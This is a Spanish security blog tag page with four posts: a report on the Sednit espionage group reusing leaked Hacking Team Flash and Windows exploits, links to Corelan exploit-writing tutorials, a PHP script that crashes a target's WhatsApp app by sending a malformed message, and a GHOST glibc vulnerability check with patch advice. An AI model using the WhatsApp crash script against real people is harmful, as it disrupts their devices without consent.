Mostrando entradas con la etiqueta Exploit. Mostrar todas las entradas
Mostrando entradas con la etiqueta Exploit. Mostrar todas las entradas

Aprovechando los exploits de hacking team



El infame grupo de espionaje Sednit está utilizando los exploits de Hacking Team que se filtraron a comienzos de esta semana para atacar instituciones de Europa Oriental.


La semana pasada se publicaron en Internet más de 400GB de datos internos de la empresa Hacking Team. Según su sitio web, desarrolla y vende “tecnología ofensiva fácil de usar para agencias encargadas de hacer cumplir la ley y comunidades de inteligencia del mundo”. Los datos filtrados incluyen información muy diversa, desde propuestas de ventas hasta el código fuente del software que vende la empresa.



En particular, hay dos proyectos de desarrollo entre los datos filtrados que son de sumo interés:



1. Un exploit para Flash que aprovecha la vulnerabilidad CVE-2015-5119



Esta vulnerabilidad se corrigió el día miércoles 8 de julio en el boletín de seguridad de Adobe APSB15-16, por lo que fue una amenaza 0-day hasta esa fecha. Le permite al atacante ejecutar código arbitrario en forma remota, siempre y cuando pueda antes convencer a la víctima potencial de que abra un archivo Flash especialmente preparado.



Por más sorprendente que parezca, el exploit es capaz de atacar todos los navegadores principales y a su vez puede desplegarse con facilidad endocumentos de Microsoft Office (Word, Excel, PowerPoint). Los datos filtrados de Hacking Team contienen diversas herramientas que facilitan la manipulación del exploit para Flash, por lo que no era de esperar que muchos exploit kits las hayan integrado con tanta rapidez, como lo informó el investigador en seguridad Kafeine. Ahora también está disponible un módulo de Metasploit.



2. Un exploit de la escala de privilegios para usuarios locales de Windows



La vulnerabilidad aún sigue sin corregirse y no tiene asignado ningún número de CVE (Vulnerabilidades y Exposiciones Comunes). Este exploit le permite al atacante ejecutar un programa con los máximos privilegios.



Por lo tanto, las fugas de Hacking Team proporcionan una cadena de aprovechamiento de vulnerabilidades completa, comenzando por un exploit para Flash con el que se infecta el sistema, hasta uno para escalar privilegios que permite ejecutar el payload con privilegios elevados.



Esta semana, ESET detectó que un grupo malicioso aprovechó rápidamente esta oportunidad para integrar los exploits de Hacking Team a su arsenal: Sednit. Este grupo, también conocido como APT28 o Fancy Bear, ha estado atacando a diversas instituciones desde 2006 para realizar espionaje. Para ello, desarrollan su propio software, incluyendo herramientas como software espía especializado y exploit kits.



El miércoles 8 de julio de 2015, el grupo Sednit comenzó a usar el exploit para Flash de Hacking Team en su exploit kit. Sus víctimas luego quedaron expuestas a la siguiente cadena:



1. La víctima recibe un correo electrónico dirigido con una dirección de URL que apunta a un nombre de dominio muy similar a uno legítimo. En este caso en particular, figuraba “osce-press.org”, que se hacía pasar por “osce.org/press”.

2. Si la víctima abre la URL, el navegador llega a una página con código en JavaScript que recopila información detallada sobre el equipo.

3. Si el equipo cumple con ciertos criterios especificados por los operadores de Sednit (idioma, zona horaria, etc.), el servidor le envía un exploit. Desde este miércoles, aquel para Flash se entrega bajo el nombre “flash_video_x86.swf”. Al descompilar el código del exploit notamos que es prácticamente el mismo que el de Hacking Team: para ser más precisos, la versión denominada “scratch_ie_ff_bytearray” en los datos filtrados. La única diferencia entre ambos parece ser que la versión de Sednit recibe el shellcode para ejecutarse en un parámetro de entrada en forma similar a los exploits de Metasploit, mientras que, en la versión de Hacking Team, el shellcode está codificado en forma rígida en el archivo Flash. Las siguientes imágenes muestran la función principal en ambos casos.




Función principal del exploit para Flash de Hacking Team


Función principal del exploit para Flash de Sednit

4. Si el exploit para Flash logra su cometido, la víctima recibe un backdoor correspondiente a la primera etapa: un programa malicioso cuyo propósito es asegurarse de que la víctima es el objetivo de ataque deseado. Este malware contiene el exploit para escalar privilegios de Windows creado por Hacking Team. Como detectamos la presencia de ciertas diferencias sintácticas, parece que el grupo Sednit volvió a compilar el código fuente del exploit, pero sin modificar su lógica.

Si la funcionalidad para escalar privilegios tiene éxito, el malware se hace persistente en el equipo mediante la creación de una tarea programada que se ejecuta con el máximo privilegio.

Esto demuestra que los grupos de atacantes experimentados también emplean estrategias oportunistas. Bastó tan solo con unos pocos días para que el grupo Sednit reutilizara la cadena de exploits de Hacking Team en beneficio propio. Esta semana también se informó que Webky, otro grupo dedicado a crear amenazas persistentes avanzadas (APT), hizo lo mismo. Les recomendamos firmemente a los usuarios que actualicen sus programas de Flash.

Indicadores de sistemas comprometidos


Fuente: welivesecurity.com

[Guía] Metasploit no funcionó, y ¿ahora qué?


Introducción
Los usuarios recién iniciados en el arte del pentesting, generalmente se basan en un solo factor de análisis o secuencia de técnicas:
- Análisis y explotación a nivel de sistema operativo:
  + Utilizar nmap, para obtener información acerca de los puertos y servicios que un servidor posee.
  + Utilización de exploit pre-diseñados bajo el framework Metasploit.

- Análisis y explotación a nivel de web:
  + Análisis de vulnerabilidades.
  + Explotación de vulnerabilidades.

Si ninguna de estas fases arroja un resultado positivo (para el atacante), comúnmente se suele buscar otro servidor para intentar esta vez tener más suerte.

¿Ahora qué?
Tienes dos alternativas:
1.- Seguir siendo un script kiddie, es decir utilizar herramientas de terceros para cometer actos de hacker o seguir siendo un lammer (utilizar las herramientas y peor aun proclamarse hackers).
2.- Aprender a hacer exploits y shellcodes desde cero.

Eh aquí la diferencia, muchos usuarios creen que aprender a manipular herramientas de terceros, los convierte en hackers, yo diría más bien en lammer si es que creen ser hackers o script kiddie si tienen noción y están concientes de que se están iniciando pero aun así desean aprender más.

La diferencia principal entre un sujeto que presume ser hacker y uno que en realidad lo es, es muy simple:
Un hacker será capaz de encontrar nuevas vulnerabilidades o moldear existentes bajo el entorno que se le presente y podrá facilitar sus análisis o pruebas de conceptos bajo la creación de herramientas (saber programar), si es así, un hacker debe sí o sí saber programar ya que de esta manera su teoría podría ser aplicada en herramientas reales que podrán ser utilizadas de manera privada o pública (criterio del hacker).

Para ello comparto con ustedes una serie de tutoriales en donde se explica como explotar fallos de seguridad en Windows desde cero, teniendo como base nociones de depuración y programación ensamblador (MASM):

Serie de tutoriales
Autor: CorelanC0d3r
Lenguaje: Español
Traductor: Ivinson
Links:

Creacion de Exploits 1 por corelanc0d3r traducido por Ivinson

Creacion de Exploits 2 por corelanc0d3r traducido por Ivinson

Creacion de Exploits SEH parte 3 por corelanc0d3r traducido por Ivinson

Creacion de Exploits 3b SEH por corelanc0d3r traducido por Ivinson

Creacion de Exploits 4 De Exploit a Metasploit por corelanc0d3r traducido por Ivinson

Creacion de Exploits 5 Acelerar el Proceso con Plugins y modulos por corelanc0d3r traducido por Ivinson

Creacion de Exploits 6 Cookies del Stack SafeSEH SEHOP HW DEP y ASLR por corelanc0d3r traducido por Ivinson

Creacion de Exploits 7 Unicode De 00410041 a la Calc por corelanc0d3r traducido por Ivinson

Creacion de Exploits 8 Caceria de Huevos Win32 por corelanc0d3r traducido por Ivinson

Creacion de Exploits 9 Introduccion al Shellcoding Win32 por corelanc0d3r traducido por Ivinson

Creacion de Exploits 10_ Uniendo DEP con ROP - El Cubo de Rubik [TM] por corelanc0d3r traducido por Ivinson_CLS

Creacion de Exploits 11 Heap Spraying Desmitificado por corelanc0d3r traducido por Ivinson

En caso de que algún link estuviera malo, por favor ir a http://ricardonarvaja.info/WEB/buscador.php e introducir "corelan" sin las comillas.

Resumen
Autor: .:UND3R:
Links: Resumen serie de tutoriales corelan por UND3R

[PHP] Crashear WhatsApp usando WhatsAPI





Modo de uso de script

root@rodrix:~# php wacrash.php 549XXXXXXXXXX

Recuerden que el num de contacto que van a crashear debe ser de 13 dígitos. En la variable $msg deben copiar y pegar el contenido del pastebin que dejo en el comentario, donde se encuentran los caracteres especiales para crashear whatsapp.

Código: PHP
  1. <?php
  2.  
  3. /*
  4.  *      Title: WhatsApp Remote Crash with PHP
  5.  *      Product: WhatsApp
  6.  *      Vendor Homepage: http://www.whatsapp.com
  7.  *      Vulnerable Version(s): 2.11.476
  8.  *      Tested on: WhatsApp v2.11.476 on Samsung Galaxy S4 2015 -Android 4.3
  9.  *      Mirror: http://pastebin.com/Ktu45GN0
  10.  *      Date: 05/02/2015
  11.  *
  12.  *      Author Exploit:
  13.  *              Rodrigo Avila - @el_rodrix - <rodrigo398@hotmail.com>
  14.  *      Credits:
  15.  *              Daniel Godoy - @0xhielasangre - <danielgodoy@gobiernofederal.com>
  16.  *              Gonza Cabrera - @Gonnza_Cabrera - <gonnza.cabrera@gmail.com>
  17.  *
  18.  *      Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html
  19.  *                  http://underc0de.org/foro/android/(poc)-crashear-la-app-de-un-contacto-de-whatsapp-(android)/msg82880/
  20.  *                 http://www.exploit-db.com/exploits/35637/
  21.  *                 http://www.exploit-db.com/exploits/32865/
  22.  *
  23.  *      Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android.
  24.  *      It uses WhatsAPI library, that provides us with the options of registration, reading/sending messages, and even
  25.  *      engaging in an interactive conversation over WhatsApp protocol
  26.  */
  27.  
  28. require 'src/whatsprot.class.php';
  29.  
  30. function fgets_u($pStdn)
  31. {
  32.     $pArr = array($pStdn);
  33.  
  34.     if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
  35.         print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");
  36.  
  37.         return FALSE;
  38.     } elseif ($num_changed_streams > 0) {
  39.         return trim(fgets($pStdn, 1024));
  40.     }
  41.     return null;
  42. }
  43. $nickname = "RemoteExecution";
  44. $sender = "549XXXXXXXXXX"; // Mobile number with country code (but without + or 00)
  45. $imei = ""; // MAC Address for iOS IMEI for other platform (Android/etc)
  46. $password = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"; // Password you received from WhatsApp
  47. $msg = "RemoteExecution"; //Copy paste and send this message -> http://pastebin.com/bStYBbpd
  48. $usage = "USAGE: ".$_SERVER['argv'][0]." <phone>\n \tphone: full number including country code, without '+' or '00'\n";
  49.  
  50. if ($argc < 2) {
  51.     echo $usage;
  52.     exit(1);
  53. }
  54.  
  55. if (is_numeric($_SERVER['argv'][1])){
  56.         if (strlen($_SERVER['argv'][1]) == 13){
  57.                 $dst = $_SERVER['argv'][1];
  58.                 echo "[] Logging in as '$nickname' ($sender)\n";
  59.                 $wa = new WhatsProt($sender, $imei, $nickname, false);
  60.  
  61.                 $wa->connect();
  62.                 $wa->loginWithPassword($password);
  63.  
  64.                 echo "\n[] Send message to $dst: $msg\n";
  65.                 $wa->sendMessage($dst , $msg);
  66.                 echo "\n";
  67.                 exit(0);
  68.         }else{
  69.                 echo $usage;
  70.         }
  71. }else{
  72.         echo $usage;
  73. }
  74.  

Adjunto screenshot del momento que crashea el app de whatsapp en Android. Para esta PoC se utilizo un Samsung Galaxy S4, con WhatsApp+ v6.65.

Información del dispositivo:



WhatsApp+ crashea:



WhatsApp+ crashea:



Información de WhatsApp app:


Ghost, nuevo 0day en linux (CVE-2015-0235)


Qualys ha publicado una vulnerabilidad grave de desbordamiento de buffer en la función __nss_hostname_digits_dots() usada por otras funciones tan comunes como gethostbyname() y gethostbyname2() de glibc, que un atacante podría provocar al intentar resolver un nombre de host inválido (/etc/hosts o DNS).

Concretamente la función __nss_hostname_digits_dots() no calcula correctamente el tamaño del buffer que tiene que reservar y, bajo ciertas circunstancias, se pueden sobrescribir datos arbitrariamente mediante este desbordamiento. Aunque en principio sólo se pueden sobrescribir 4 bytes de memoria, se ha demostrado que son suficientes para evadir mitigaciones como ASLR y PIE y conseguir la ejecución remota de código.
En la práctica, esto se podría explotar solicitando resolver un nombre de host lo suficientemente largo (al menos 1KB) que cumpla los requisitos normales de nomenclatura (a.b.c.d).

Esta vulnerabilidad bautizada como GHOST (por su paralelismo con el nombre de la función afectada) y con código CVE-2015-0235, puede hacer que el atacante tome el control de un servidor Linux con el usuario de la aplicación que está ejecutando la resolución de nombre: Apache, Exim, Sendmail, Nginx, MySQL, TAZAS, Samba, ... ¡la lista es enorme!

Las versiones afectadas son:

- glibc 2.2 a 2.17 (incluidas) son vulnerables
- glibc 2.18 a 2.20 (incluidas) NO son vulnerables
- las versiones anteriores de glibc (<= 2.1.3) NO son vulnerables

Mediante el siguiente script en C hecho por la Universidad de Chicago podemos comprobar si somos vulnerables:

Código: C
  1. GHOSTTEMP=$(mktemp /tmp/ghost.XXXXXXXXXXXXXX)
  2. GHOSTEXEC=$(mktemp /tmp/ghost.XXXXXXXXXXXXXX)
  3. cat <<"EOF" > $GHOSTTEMP
  4. #include <netdb.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <errno.h>
  9.  
  10. #define CANARY "in_the_coal_mine"
  11.  
  12. struct {
  13.   char buffer[1024];
  14.   char canary[sizeof(CANARY)];
  15. } temp = { "buffer", CANARY };
  16.  
  17. int main(void) {
  18.   struct hostent resbuf;
  19.   struct hostent *result;
  20.   int herrno;
  21.   int retval;
  22.  
  23.   /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  24.   size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  25.   char name[sizeof(temp.buffer)];
  26.   memset(name, '0', len);
  27.   name[len] = '\0';
  28.  
  29.   retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
  30.  
  31.   if (strcmp(temp.canary, CANARY) != 0) {
  32.     puts("vulnerable");
  33.     exit(EXIT_SUCCESS);
  34.   }
  35.   if (retval == ERANGE) {
  36.     puts("not vulnerable");
  37.     exit(EXIT_SUCCESS);
  38.   }
  39.   puts("should not happen");
  40.   exit(EXIT_FAILURE);
  41. }
  42. EOF
  43. gcc -x c $GHOSTTEMP -o $GHOSTEXEC
  44. $GHOSTEXEC
  45. rm -f $GHOSTTEMP $GHOSTEXECPaste your text here.

En caso que seamos vulnerables tendremos:

(...)
# gcc -x c $GHOSTTEMP -o $GHOSTEXEC
# $GHOSTEXEC
vulnerable
# rm -f $GHOSTTEMP $GHOSTEXEC

Las siguientes distribuciones de Linux tiene versiones vulnerables de glibc:

Código: Text
  1. Ubuntu
  2. 10.04 LTS     fix available     fixed in libc6 2.11.1-0ubuntu7.20
  3. 12.04 LTS     fix available     fixed in libc6 2.15-0ubuntu10.10
  4. 14 and newer     not vulnerable
  5.  
  6. Debian
  7. 6.x - squeeze     vulnerable
  8. 6.x - squeeze (LTS)     vulnerable
  9. 7.x - wheezy     vulnerable
  10. 7.x - wheezy (security)     fix available     fixed in glib 2.13-38+deb7u7
  11. 8.0 - jesse     not vulnerable
  12. dev - sid     not vulnerable
  13.  
  14. Red Hat Enterprise
  15. fix information
  16. Desktop (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
  17. Desktop (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
  18. HPC Node (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
  19. HPC Node (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
  20. Server (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
  21. Server (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
  22. Server EUS (v. 6.6.z)     fix available     fixed in glibc-2.12-1.149.el6_6.5
  23. Workstation (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
  24. Workstation (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
  25.  
  26. Mint
  27. 13 “Maya”     fix available     Tracks Ubuntu 12.04, should get update from Ubuntu servers
  28. 17 “Qiana”     not vulnerable
  29. 17.1 “Rebecca”     not vulnerable
  30.  
  31. Gentoo
  32. libc information
  33. stable     not vulnerable      uses glibc 2.19-r1
  34.  
  35. Arch
  36. fixed in all releases since August 2013, discussion here and package info here
  37. anything recent     not vulnerable
  38.  
  39. Fedora
  40. discussion
  41. 19 and earlier     vulnerable     uses glibc 2.17 and earlier
  42. 20     not vulnerable     uses glibc 2.18
  43. 21     not vulnerable     uses glibc 2.20
  44.  
  45. Mandriva Linux
  46. all     vulnerable     appears to use glibc 2.16
  47.  
  48. openSUSE
  49. vulnerability information
  50. Enterprise 11 & older     vulnerable
  51. Enterprise 12     not vulnerable
  52. openSUSE 13.1 & newer      not vulnerable
  53.  
  54. Slackware
  55. current     not vulnerable     uses glibc 2.20
  56. 14.1 and earlier     vulnerable     uses glibc 2.17 and earlier
  57.  
  58. Knoppix
  59. information about glibc versions
  60. 7.2 and earlier     vulnerable     uses glibc 2.17 and earlier
  61. 7.4 and later     not vulnerable     uses glibc 2.19 and later
  62.  
  63. Slax
  64. all     vulnerable     appears to use glibc 2.15

Lo llamativo de esta vulnerabilidad, sobre la que se informó públicamente el día 27 de enero, es que estaba en glibc desde el año 2000 y no fue resuelta hasta 2013; sin embargo, la corrección no se marcó como de seguridad, por lo que distribuciones de largo recorrido como las LTS de Ubuntu, Debian o RHEL, no aplicaron el parche.

Sea como fuere, si tu distribución tiene ya parches disponibles aplicalos cuanto antes:

- Actualiza a glibc 2.18 o más reciente
- Reinicia todos los procesos que cargan la biblioteca glibc
- Corrige los nuevos binarios de software que estén enlazados estáticamente contra versiones vulnerables de la biblioteca glibc.

Fuente: Hackplayers